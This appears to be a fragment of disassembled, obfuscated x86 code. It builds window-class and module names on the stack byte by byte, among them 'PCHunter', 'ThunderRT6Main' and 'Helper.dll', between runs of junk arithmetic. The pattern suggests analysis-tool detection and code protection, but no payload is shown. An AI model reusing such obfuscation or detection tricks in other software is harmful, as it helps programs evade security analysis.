mov byte [esp + 0x33d], 0x33
btr esi, ebx
bt si, cx
mov byte [esp + 0x33e], 0x32
sub esi, ecx
mov byte [esp + 0x33f], 0x37
and si, 0x4ec2
neg si
mov byte [esp + 0x340], 0x37
mov byte [esp + 0x341], 0x30
sbb esi, ebp
bt esi, ebx
btc esi, 0x8e
mov byte [esp + 0x342], bl
mov byte [esp + 0x394], 0x43
mov byte [esp + 0x395], cl
movsx esi, sp
mov byte [esp + 0x396], 0x6d
shrd si, dx, 0x3d
mov byte [esp + 0x397], 0x62
mov byte [esp + 0x398], cl
add si, 0x43a8
mov byte [esp + 0x399], 0x4c
shrd si, ax, 0x3c
mov byte [esp + 0x39a], 0x42
mov byte [esp + 0x39b], cl
sub si, 0x3825
mov byte [esp + 0x39c], 0x78
add si, 0x1127
xor si, 0x1cca
bswap esi
mov byte [esp + 0x39d], bl
sub esi, edi
and si, 0x2c85
mov byte [esp + 0x4bc], 0x70
mov byte [esp + 0x4bd], 0x63
mov byte [esp + 0x4be], 0x68
mov byte [esp + 0x4bf], 0x75
mov byte [esp + 0x4c0], 0x6e
mov byte [esp + 0x4c1], 0x74
sal esi, 0xb8
sbb esi, 0x6e2f075e
xchg esi, esi
mov byte [esp + 0x4c2], al
shrd esi, esp, 0x54
mov byte [esp + 0x4c3], 0x72
mov byte [esp + 0x4c4], bl
mov byte [esp + 0x4ec], 0x50
add si, 0x529d
bsr esi, edx
mov byte [esp + 0x4ed], 0x43
sar si, 0x39
bts esi, ebx
mov byte [esp + 0x4ee], 0x48
clc
shld esi, esp, 0xf1
mov byte [esp + 0x4ef], 0x75
mov byte [esp + 0x4f0], 0x6e
btc si, 0xd
mov byte [esp + 0x4f1], 0x74
xor esi, 0x4e14014
sar si, 0x78
bsf esi, ebp
mov byte [esp + 0x4f2], al
mov byte [esp + 0x4f3], 0x72
shr esi, 0xd7
mov byte [esp + 0x4f4], bl
sal esi, 0x24
mov byte [esp + 0x40c], 0x54
mov byte [esp + 0x40d], al
bswap si
mov byte [esp + 0x40e], dl
xchg esi, esi
mov byte [esp + 0x40f], 0x6c
bt esi, 0xc2
rcl si, 0x35
mov byte [esp + 0x410], 0x61
bswap si
ror si, 0xcc
mov byte [esp + 0x411], bl
mov byte [esp + 0x3c0], 0x54
or esi, eax
or si, 0x5dbb
mov byte [esp + 0x3c1], 0x68
mov byte [esp + 0x3c2], 0x75
rol si, 0x24
sbb si, 0x8ef
mov byte [esp + 0x3c3], 0x6e
and si, 0x132b
mov byte [esp + 0x3c4], 0x64
or si, 0x74b2
stc
test ax, ax
mov byte [esp + 0x3c5], al
btc si, 0x1f
rol si, 0x3b
or si, 0xeba
mov byte [esp + 0x3c6], 0x72
stc
mov byte [esp + 0x3c7], 0x52
adc si, si
mov byte [esp + 0x3c8], 0x54
mov byte [esp + 0x3c9], 0x36
shrd esi, edx, 0xa0
sub si, 0x3e0b
adc si, 0x7a1c
mov byte [esp + 0x3ca], 0x4d
shrd si, dx, 0x5e
mov byte [esp + 0x3cb], 0x61
mov byte [esp + 0x3cc], 0x69
mov byte [esp + 0x3cd], 0x6e
mov byte [esp + 0x3ce], bl
mov byte [esp + 0x49c], 0x54
sal si, 0x2a
rol esi, 0x24
mov byte [esp + 0x49d], 0x68
rcl esi, 0x58
mov byte [esp + 0x49e], 0x75
xadd esi, esi
or si, 0x15f3
mov byte [esp + 0x49f], 0x6e
dec si
cmp di, ax
mov byte [esp + 0x4a0], 0x64
mov byte [esp + 0x4a1], al
rcr si, 0x34
mov byte [esp + 0x4a2], 0x72
sub esi, edi
neg esi
mov byte [esp + 0x4a3], 0x52
btr si, sp
shld si, sp, 0x5a
mov byte [esp + 0x4a4], 0x54
or si, sp
and esi, 0x27751eb
mov byte [esp + 0x4a5], 0x36
or si, 0x1273
sbb si, 0x30af
mov byte [esp + 0x4a6], 0x46
and esi, edi
mov byte [esp + 0x4a7], cl
and esi, 0x14f202cd
clc
mov byte [esp + 0x4a8], 0x72
sal si, 0x5c
mov byte [esp + 0x4a9], 0x6d
mov byte [esp + 0x4aa], 0x44
xor si, si
shld si, cx, 0x49
mov byte [esp + 0x4ab], 0x43
shl si, 0x6d
mov byte [esp + 0x4ac], bl
mov byte [esp + 0x45c], 0x56
btr si, ax
mov byte [esp + 0x45d], 0x42
bswap esi
sbb esi, 0x66e42f2f
bsf esi, ecx
mov byte [esp + 0x45e], 0x4d
cmp ebp, 0x7f735431
mov byte [esp + 0x45f], dl
or si, bx
mov byte [esp + 0x460], cl
sbb esi, ecx
mov byte [esp + 0x461], 0x53
adc si, 0x3769
mov byte [esp + 0x462], 0x74
ror si, 0xb8
mov byte [esp + 0x463], 0x64
xadd esi, esi
and si, 0x7295
mov byte [esp + 0x464], 0x43
mov byte [esp + 0x465], cl
rcl esi, 0x79
mov byte [esp + 0x466], 0x6d
xor esi, 0x7edf5ddf
mov byte [esp + 0x467], 0x70
shld si, di, 0x95
xor si, 0x7cc7
mov byte [esp + 0x468], 0x4d
shl esi, 0x91
adc esi, esp
mov byte [esp + 0x469], 0x67
stc
clc
add si, cx
mov byte [esp + 0x46a], 0x72
bts si, sp
mov byte [esp + 0x46b], bl
mov byte [esp + 0x358], 0x4c
mov byte [esp + 0x359], cl
and esi, 0x60d25ae8
sar si, 0x11
mov byte [esp + 0x35a], 0x67
movsx esi, ax
mov byte [esp + 0x35b], 0x69
movzx esi, dx
mov byte [esp + 0x35c], 0x6e
mov byte [esp + 0x35d], 0x32
cmp di, 0x472b
adc si, 0x7060
ror esi, 0x15
mov byte [esp + 0x35e], 0x37
mov byte [esp + 0x35f], 0x30
movzx esi, di
mov byte [esp + 0x360], 0x2e
mov byte [esp + 0x361], 0x44
mov byte [esp + 0x362], 0x4c
mov byte [esp + 0x363], 0x4c
shr si, 0xf4
xor si, si
sbb esi, edi
mov byte [esp + 0x364], bl
shl esi, 0x99
mov byte [esp + 0x34c], 0x48
btr si, 0xb4
mov byte [esp + 0x34d], al
shl si, 0x54
mov byte [esp + 0x34e], 0x6c
mov byte [esp + 0x34f], 0x70
xadd esi, esi
mov byte [esp + 0x350], al
xor esi, 0x270141bb
mov byte [esp + 0x351], 0x72
rcl esi, 0xc8
btc si, ax
mov byte [esp + 0x352], 0x2e
mov byte [esp + 0x353], 0x64
rol esi, 0x67
xadd si, si
inc esi
mov byte [esp + 0x354], 0x6c
mov byte [esp + 0x355], 0x6c
bt si, bp
mov byte [esp + 0x356], bl
bts esi, ebp
btr si, 0xbf
mov byte [esp + 0x2e4], dl
mov byte [esp + 0x2e5], dl
inc si
xor si, 0x2dd3
sbb si, 0x6fc0
mov byte [esp + 0x2e6], 0x2e
btr si, sp
cmp ecx, eax
adc si, cx
mov byte [esp + 0x2e7], 0x6d
test bh, 0x8a
stc
mov byte [esp + 0x2e8], 0x70
mov byte [esp + 0x2e9], 0x33
mov byte [esp + 0x2ea], bl
mov byte [esp + 0x314], 0x70
xor esi, esi
movsx esi, ax
mov byte [esp + 0x315], dl
or esi, 0x4ca00e5a
xor esi, edx
mov byte [esp + 0x316], 0x64
mov byte [esp + 0x317], 0x2e
mov byte [esp + 0x318], 0x64
bt si, 0x89
mov byte [esp + 0x319], 0x6c
btc esi, 0x29
mov byte [esp + 0x31a], 0x6c
xchg si, si
test bx, sp
mov byte [esp + 0x31b], bl
rol esi, 0x79
mov byte [esp + 0x304], 0x4f
inc si
mov byte [esp + 0x305], 0x43
mov byte [esp + 0x306], 0x52
shl esi, 0x6e
cmc
mov byte [esp + 0x307], 0x2e
shld si, bx, 0xf1
mov byte [esp + 0x308], 0x64
mov byte [esp + 0x309], 0x6c
rcl esi, 0xa
or si, 0x12c3
mov byte [esp + 0x30a], 0x6c
adc si, sp
mov byte [esp + 0x30b], bl
mov byte [esp + 0x2dc], dl
add esi, edi
mov byte [esp + 0x2dd], dl
test esp, 0x282f48ea
shl esi, 0x6b
mov byte [esp + 0x2de], 0x2e
neg esi
mov byte [esp + 0x2df], 0x64
mov si, si
adc si, bx
bts esi, ebp
mov byte [esp + 0x2e0], 0x6c
mov byte [esp + 0x2e1], 0x6c
movsx esi, bx
add esi, 0xccf2d1b
mov byte [esp + 0x2e2], bl
sar si, 0xcd
mov esi, eax
mov byte [esp + 0x3b0], 0x6d
mov byte [esp + 0x3b1], 0x61
adc si, bp
btr esi, 0x4d
mov byte [esp + 0x3b2], 0x70
rol si, 0x69
mov byte [esp + 0x3b3], dl
mov byte [esp + 0x3b4], 0x5c
dec esi
test ebp, esi
cmc
mov esi, 0x35
jmp 0x7d9487
mov word [esp + 0x856], si
mov word [esp + 0x858], si
stc
xor esi, esi
test cx, bp
cmc
mov word [esp + 0x85a], si
mov byte [esp + 0x434], 0x4c
mov esi, 0x37263e8d
mov byte [esp + 0x435], 0x69
bts si, ax
mov byte [esp + 0x436], 0x6e
btr si, di
mov byte [esp + 0x437], 0x70
mov byte [esp + 0x438], 0x72
shr si, 0x17
bsr si, si
mov byte [esp + 0x439], cl
test ch, cl
xadd esi, esi
mov byte [esp + 0x43a], bl
mov byte [esp + 0x43c], 0x4c
mov byte [esp + 0x43d], 0x69
dec esi
mov byte [esp + 0x43e], 0x6e
mov byte [esp + 0x43f], 0x50
dec esi
stc
mov byte [esp + 0x440], 0x72
mov byte [esp + 0x441], cl
or esi, edi
btc esi, ebx
mov byte [esp + 0x442], bl
or esi, 0x2da0218f
cmovno si, di
jmp 0x78fd94
mov word [esp + 0x868], si
xchg si, si
movzx esi, dx
mov esi, 0x46
mov word [esp + 0x86a], si
sbb esi, 0x6b506ece
mov esi, 0x20
test dl, 0x5e
mov word [esp + 0x86c], si
mov esi, 0x30
clc
jmp 0x75b036
push ebp
mov ebp, esp
mov eax, ebp
and esp, 0xfffffff8
push 0xffffffffffffffff
cbw
push 0x4e5df8
mov eax, dword fs:[0]
jmp 0x5f44aa